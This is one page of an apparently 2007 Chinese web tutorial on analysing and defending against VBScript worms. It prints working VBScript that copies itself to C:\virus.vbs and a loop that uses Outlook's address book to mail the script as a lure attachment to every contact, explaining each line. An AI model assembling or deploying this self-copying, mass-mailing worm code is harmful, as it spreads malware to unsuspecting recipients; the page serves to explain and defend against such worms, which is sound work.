黑客知识之解析并防范蠕虫病毒

来源:eNet硅谷动力 作者:网页教学网 2007-12-03 出处:pcdog.com

dns  iis  iis服务器  java  javascript  
上一页 1 2 3 4 5 6 下一页 

下面以一个简单的脚本为例:

Set objFs=CreateObject (“Scripting.FileSystemObject”)(创建一个文件系统对象)
objFs.CreateTextFile ("C:\virus.txt", 1)(通过文件系统对象的方法创建了TXT文件)

如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:

objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs")

就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征——自我复制能力。

此类病毒往往是通过邮件传播的,在vb script中调用邮件发送功能也非常的简单,病毒往往采用的方法是向outlook中的地址薄中的邮件地址发送带有包含自身的邮件来达到传播目的,一个简单的实例如下:

Set objOA=Wscript.CreateObject ("Outlook.Application")(创建一个OUTLOOK应用的对象)

Set objMapi=objOA.GetNameSpace ("MAPI")(取得MAPI名字空间)

For i=1 to objMapi.AddressLists.Count(遍历地址簿) 

Set objAddList=objMapi.AddressLists (i) 

For j=1 To objAddList. AddressEntries.Count 

Set objMail=objOA.CreateItem (0) 

objMail.Recipients.Add (objAddList. AddressEntries (j))(取得收件人邮件地址 )

objMail.Subject="你好!" (设置邮件主题,这个往往具有很大的诱惑性质)

objMail.Body="这次给你的附件,是我的新文档!" (设置信件内容)

objMail.Attachments.Add (“c:\virus.vbs")(把自己作为附件扩散出去 )

objMail.Send(发送邮件)

Next

Next 

Set objMapi=Nothing(清空objMapi变量,释放资源)

set objOA=Nothing(清空objOA变量)

这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。这就是蠕虫的传播性。

由此可以看出,利用vb script编写病毒是非常容易的,这就使得此类病毒的变种繁多,破坏力极大,同时也是非常难以根除的!


更多内容请看PCdog.com--QQ病毒  病毒/木马/蠕虫  手机病毒揭密专题
上一页 1 2 3 4 5 6 下一页 
上一篇:熊猫烧香图标病毒
下一篇:杀病毒:实例讲解如何干掉“熊猫烧香”